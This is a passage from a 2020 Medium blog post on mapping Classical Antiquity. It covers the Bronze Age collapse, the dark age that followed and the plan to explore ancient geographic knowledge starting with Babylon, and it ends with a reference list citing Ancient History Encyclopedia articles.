aimed at following the story of knowledge of the world and its geography through Classical Antiquity. However, to begin to understand Classical Antiquity, we must go back to its beginning. From about 1200 BCE the world of the Bronze age entered a period that was violent, sudden and culturally disruptive, the great civilisations of the western world all but collapsed[11]. The empire of the Hittites vanished[12], the fractious Mycenaeans disappeared, taking their palace-based culture with them[13], Babylon was sacked[14], the Assyrians retreated[15], and a diminished Egypt[16] became isolated and wary of the outside world. Almost every city between Pylos and Gaza was violently destroyed and many were abandoned. The Lion gate of Mycenae What followed has been termed a dark age[17]. For several centuries, the world had to piece itself back together and adapt to the new realities that the Bronze age collapse brought with it. By the 8th Century BCE civilisation was on the rise once more, rediscovering and building on top of the half-forgotten knowledge of a glorious past, defining what they knew of the wider world and what they discovered in their own terms. Through the next thousand years this process would see civilisation grow to new heights and change beyond recognition, forging ideas and knowledge which still influence our own. This publication is going to explore how Classical Antique civilisations understood their world, what they knew of far off lands and people, and what the way they depicted this knowledge can tell us about these societies. The first stop is ancient Mesopotamia, the heart of Classical Antiquity at the beginning of the period and the city of Babylon, a name which still resonates 2500 years later. The ruins of Babylon [1] Violatti, Cristian. “Greek Dark Age.” Ancient History Encyclopedia. Ancient History Encyclopedia, 30 Jan 2015. Web. 05 Jul 2020. [2] Cartwright, Mark. “Ancient Olympic Games.” Ancient History Encyclopedia. Ancient History Encyclopedia, 13 Mar 2018. Web. 12 Jun 2019. [3] Mark, Joshua J. “Ancient Rome.” Ancient History Encyclopedia. Ancient History Encyclopedia, 02 Sep 2009. Web. 12 Jun 2019. [4] Wasson, Donald L. “Fall of the Western Roman Empire.” Ancient History Encyclopedia. Ancient History Encyclopedia, 12 Apr 2018. Web. 12 Jun 2019. [5] Wyeth, Will. “Justinian I.” Ancient History Encyclopedia. Ancient History Encyclopedia, 28 Sep 2012. Web. 12 Jun 2019. [6] Crabben, Jan V. D. “History of Assyria.” Ancient History Encyclopedia. Ancient History Encyclopedia, 18 Jan 2012. Web. 12 Jun 2019. [7] Mark, Joshua J. “Babylon.” Ancient History Encyclopedia. Ancient History Encyclopedia, 28 Apr 2011. Web. 12 Jun 2019. [8] Davidson, Peter. “Achaemenid Empire.” Ancient History Encyclopedia. Ancient History Encyclopedia, 11 Feb 2011. Web. 12 Jun 2019. [9] Mark, Joshua J. “Alexander the Great.” Ancient History Encyclopedia. Ancient History Encyclopedia, 14 Nov 2013. Web. 12 Jun 2019. [10] Mark, Joshua J. “Roman Empire.” Ancient History Encyclopedia. Ancient History Encyclopedia, 22 Mar 2018. Web. 12 Jun 2019. [11] Podcasts, BBC. “The Bronze Age Collapse (In Our Time) — BBC.” Ancient History Encyclopedia. Ancient History Encyclopedia, 25 May 2019. Web. 12 Jun 2019. Studies, Luwian. “The End of the Bronze Age.” Ancient History Encyclopedia. Ancient History Encyclopedia, 01 Jun 2016. Web. 12 Jun 2019. [12] Mark, Joshua J. “The Hittites.” Ancient History Encyclopedia. Ancient History Encyclopedia, 01 May 2018. Web. 12 Jun 2019. [13] Cartwright, Mark. “Mycenaean Civilization.” Ancient History Encyclopedia. Ancient History Encyclopedia, 24 May 2013. Web. 12 Jun 2019. [14] Mark, Joshua J. “Babylon.” Ancient History Encyclopedia. Ancient History Encyclopedia, 28 Apr 2011. Web. 12 Jun 2019. [15] Crabben, Jan V. D. “History of Assyria.” Ancient History Encyclopedia. Ancient History Encyclopedia, 18 Jan 2012. Web. 12 Jun 2019. [16] Mark, Joshua J. “New Kingdom of Egypt.” Ancient History Encyclopedia. Ancient History Encyclopedia, 07 Oct 2016. Web. 12 Jun 2019. [17] Violatti, Cristian. “Greek Dark Age.” Ancient History Encyclopedia. Ancient History Encyclopedia, 30 Jan 2015. Web. 12 Jun 2019.

https://medium.com/mapping-civilisation/mapping-classical-antiquity-29031058069f

["Lewis D'Ambra"]

2020-07-14 16:07:06.540000+00:00

['Maps', 'Mapping', 'History', 'Ancient History']